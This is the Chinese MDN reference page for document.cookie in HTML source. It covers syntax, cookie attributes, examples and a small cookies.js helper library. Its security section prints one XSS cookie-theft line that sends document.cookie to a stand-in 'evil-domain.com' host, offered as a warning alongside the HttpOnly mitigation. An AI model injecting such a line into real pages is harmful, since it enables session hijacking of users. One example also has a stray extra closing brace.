1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
|
---
title: Document.cookie
slug: Web/API/Document/cookie
tags:
- Document.cookie
- cookie
translation_of: Web/API/Document/cookie
---
<div>{{APIRef("DOM")}}</div>
<p>获取并设置与当前文档相关联的 <a href="/en-US/docs/Web/HTTP/Cookies">cookie</a>。可以把它当成一个 <code>getter and setter</code>。</p>
<h2 id="Syntax" name="Syntax">语法</h2>
<h5 id="读取所有可从此位置访问的Cookie">读取所有可从此位置访问的Cookie</h5>
<pre class="syntaxbox notranslate"><em>allCookies</em> = <em>document</em>.cookie;</pre>
<p>在上面的代码中,allCookies被赋值为一个字符串,该字符串包含所有的Cookie,每条cookie以"分号和空格(; )"分隔(即, <code><em>key</em>=<em>value </em></code>键值对)。</p>
<h5 id="写一个新_cookie">写一个新 cookie</h5>
<pre class="syntaxbox notranslate"><em>document</em>.cookie = <em>newCookie</em>;</pre>
<p><code>newCookie是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个cookie进行设置或更新。</code></p>
<ul>
<li>以下可选的cookie属性值可以跟在键值对后,用来具体化对cookie的设定/更新,使用分号以作分隔:
<ul>
<li><code>;path=<em>path</em></code> (例如 '/', '/mydir') 如果没有定义,默认为当前文档位置的路径。</li>
<li><code>;domain=<em>domain</em></code> (例如 'example.com', 'subdomain.example.com') 如果没有定义,默认为当前文档位置的路径的域名部分。与早期规范相反的是,在域名前面加 . 符将会被忽视,因为浏览器也许会拒绝设置这样的cookie。如果指定了一个域,那么子域也包含在内。</li>
<li><code>;max-age=<em>max-age-in-seconds</em></code> (例如一年为60*60*24*365)</li>
<li><code>;expires=<em>date-in-GMTString-format</em></code> 如果没有定义,cookie会在对话结束时过期
<ul>
<li>这个值的格式参见<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toUTCString" title="JavaScript/Reference/Global Objects/Date/toUTCString">Date.toUTCString()</a> </li>
</ul>
</li>
<li><code>;secure</code> (cookie只通过https协议传输)</li>
</ul>
</li>
<li>cookie的值字符串可以用<a href="/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent" title="JavaScript/Reference/Global_Functions/encodeURIComponent">encodeURIComponent()</a>来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值).</li>
</ul>
<div class="note">
<p><strong>备注:</strong> 在{{Gecko("6.0")}}前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。</p>
</div>
<h2 id="Example" name="Example">示例</h2>
<h3 id="示例1_简单用法">示例1: 简单用法</h3>
<pre class="brush: js notranslate">document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
alert(document.cookie);
// 显示: name=oeschger;favorite_food=tripe
</pre>
<h3 id="示例2_得到名为test2的cookie">示例2: 得到名为test2的cookie</h3>
<pre class="brush: js notranslate">document.cookie = "test1=Hello";
document.cookie = "test2=World";
var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
alert(myCookie);
// 显示: World
</pre>
<h3 id="示例3_只执行某事一次">示例3: 只执行某事一次</h3>
<p>要使下面的代码工作,请替换所有<code style="font-style: normal;">someCookieName</code> (cookie的名字)为自定义的名字。</p>
<pre class="brush: js notranslate">if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
}
}
</pre>
<h2 id="sect1"></h2>
<h2 id="一个小框架:一个完整支持unicode的cookie读取写入器">一个小框架:一个完整支持unicode的cookie读取/写入器</h2>
<p>作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和<code><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage#Storage">Storage对象</a></code>部分<code>一致的</code>对象(docCookies),简化<code style="font-style: normal;">document.cookie</code> 的获取方法。它提供完全的Unicode支持。</p>
<pre class="brush: js notranslate">/*\
|*|
|*| :: cookies.js ::
|*|
|*| A complete cookies reader/writer framework with full unicode support.
|*|
|*| https://developer.mozilla.org/en-US/docs/DOM/document.cookie
|*|
|*| This framework is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
|*| Syntaxes:
|*|
|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
|*| * docCookies.getItem(name)
|*| * docCookies.removeItem(name[, path], domain)
|*| * docCookies.hasItem(name)
|*| * docCookies.keys()
|*|
\*/
var docCookies = {
getItem: function (sKey) {
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
},
setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
var sExpires = "";
if (vEnd) {
switch (vEnd.constructor) {
case Number:
sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
break;
case String:
sExpires = "; expires=" + vEnd;
break;
case Date:
sExpires = "; expires=" + vEnd.to<u>UTC</u>String();
break;
}
}
document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
return true;
},
removeItem: function (sKey, sPath, sDomain) {
if (!sKey || !this.hasItem(sKey)) { return false; }
document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
return true;
},
hasItem: function (sKey) {
return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
},
keys: /* optional method: you can safely remove it! */ function () {
var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
return aKeys;
}
};</pre>
<div class="note"><strong>Note:</strong> 对于永久cookie我们用了<code>Fri, 31 Dec 9999 23:59:59 GMT</code>作为过期日。如果你不想使用这个日期,可使用<em><a href="http://en.wikipedia.org/wiki/Year_2038_problem" title="http://en.wikipedia.org/wiki/Year_2038_problem">世界末日</a></em><code>Tue, 19 Jan 2038 03:14:07 GMT,</code>它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即<code>01111111111111111111111111111111</code>, 是 <code>new Date(0x7fffffff * 1e3)</code>).</div>
<h3 id="写入cookie">写入cookie</h3>
<h5 id="语法">语法</h5>
<pre class="syntaxbox notranslate"><code>docCookies.setItem(<em>name</em>, <em>value</em>[, <em>end</em>[, <em>path</em>[, <em>domain</em>[, <em>secure</em>]]]])</code></pre>
<h5 id="描述">描述</h5>
<p>创建或覆盖一个cookie</p>
<h5 id="参数">参数</h5>
<dl>
<dt><code>name</code> (必要)</dt>
<dd>要创建或覆盖的cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>)。</dd>
<dt><code>value</code> (必要)</dt>
<dd>cookie的值 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>)。</dd>
<dt><code>end</code> <em>(可选)</em></dt>
<dd><a href="#new-cookie_max-age"><code>最大年龄</code></a>的秒数 (一年为31536e3, 永不过期的cookie为<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) ,或者过期时间的<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString"><code>GMTString</code></a>格式或<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date">Date对象</a></code>; 如果没有定义则会在会话结束时过期 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="JavaScript/Reference/Global_Objects/Number"><code>number</code></a> – 有限的或 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> – <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd>
<dt><code>path</code> <em>(可选)</em></dt>
<dd>例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。路径必须为绝对路径(参见 <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>)。关于如何在这个参数使用相对路径的方法请参见<a href="#Using_relative_URLs_in_the_path_parameter" style="text-decoration: underline;">这段</a>。</dd>
<dt><code>domain</code> <em>(可选)</em></dt>
<dd>例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">string</a><font face="Open Sans, sans-serif">或</font></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd>
<dt><code>secure</code> <em>(可选)</em></dt>
<dd>cookie只会被https传输 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="JavaScript/Reference/Global_Objects/Boolean"><code>boolean</code></a>或<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd>
</dl>
<h3 id="得到cookie">得到cookie</h3>
<h5 id="语法_2">语法</h5>
<pre class="syntaxbox notranslate"><code>docCookies.getItem(<em>name</em>)</code></pre>
<h5 id="描述_2">描述</h5>
<p>读取一个cookie。如果cookie不存在返回<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>。</p>
<h5 id="参数_2">参数</h5>
<dl>
<dt><code>name</code></dt>
<dd>读取的cookie名 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd>
</dl>
<h3 id="移除cookie">移除cookie</h3>
<h5 id="Syntax_2">Syntax</h5>
<pre class="syntaxbox notranslate"><code>docCookies.removeItem(<em>name</em>[, <em>path</em>],domain)</code></pre>
<h5 id="描述_3">描述</h5>
<p>删除一个cookie。</p>
<h5 id="参数_3">参数</h5>
<dl>
<dt><code>name</code></dt>
<dd>要移除的cookie名(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd>
<dt><code>path</code> <em>(</em>可选<em>)</em></dt>
<dd>例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。路径必须为绝对路径(参见 <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>)。关于如何在这个参数使用相对路径的方法请参见<a href="#Using_relative_URLs_in_the_path_parameter" style="text-decoration: underline;">这段</a>。</dd>
<dt><code>domain </code>(可选)</dt>
<dd>例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">string</a><font face="Open Sans, sans-serif">或</font></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd>
</dl>
<h3 id="检测cookie">检测cookie</h3>
<h5 id="语法_3">语法</h5>
<pre class="syntaxbox notranslate"><code>docCookies.hasItem(<em>name</em>)</code></pre>
<h5 id="描述_4">描述</h5>
<p>检查一个cookie是否存在</p>
<h5 id="参数_4">参数</h5>
<dl>
<dt><code>name</code></dt>
<dd>要检查的cookie名 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd>
</dl>
<h3 id="得到所有cookie的列表">得到所有cookie的列表</h3>
<h5 id="语法_4">语法</h5>
<pre class="syntaxbox notranslate"><code>docCookies.keys()</code></pre>
<h5 id="描述_5">描述</h5>
<p>返回一个这个路径所有可读的cookie的数组。</p>
<h3 id="示例用法">示例用法:</h3>
<pre class="brush: js notranslate">docCookies.setItem("test0", "Hello world!");
docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
docCookies.setItem("test6", "Hello world!", 150);
docCookies.setItem("test7", "Hello world!", 245, "/content");
docCookies.setItem("test8", "Hello world!", null, null, "example.com");
docCookies.setItem("test9", "Hello world!", null, null, null, true);
docCookies.setItem("test1;=", "Safe character test;=", Infinity);
alert(docCookies.keys().join("\n"));
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
docCookies.removeItem("test1");
docCookies.removeItem("test5", "/home");
alert(docCookies.getItem("test1"));
alert(docCookies.getItem("test5"));
alert(docCookies.getItem("unexistingCookie"));
alert(docCookies.getItem());
alert(docCookies.getItem("test1;="));</pre>
<h2 id="Notes" name="Notes">安全</h2>
<p>路径限制并<strong>不能</strong>阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的<a href="/zh-CN/docs/Web/HTML/Element/iframe">iframe</a>, 然后访问其 <code>contentDocument.cookie</code> 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用<a href="/zh-CN/docs/Web/Security/Same-origin_policy">同源策略</a>保护其不被读取.</p>
<p>Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -</p>
<pre class="notranslate"><code>(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</code></pre>
<p><code>HttpOnly</code> 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/" title="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p>
<h2 id="Specification" name="Specification">备注</h2>
<ul>
<li>从 Firefox 2 起, 有更好的客户端存储机制用以替代 cookie - <a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG DOM Storage</a>.</li>
<li>你可以通过更新一个cookie的过期时间为0来删除一个cookie。</li>
<li>请注意, 更多/更大的 cookies 意味着每个请求都要包含更繁重的数据传输. 如果您只是需要存储些 "client-only" 的数据, 那么郑重建议您使用 <a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG DOM Storage</a>.</li>
</ul>
<h2 id="Specification" name="Specification">规范</h2>
<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038">DOM Level 2: HTMLDocument.cookie</a></p>
<h2 id="参见">参见</h2>
<ul>
<li><a href="/en-US/docs/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li>
<li><a href="/en-US/docs/Code_snippets/Cookies" title="Cookies">Cookies</a> (Code snippets)</li>
</ul>
|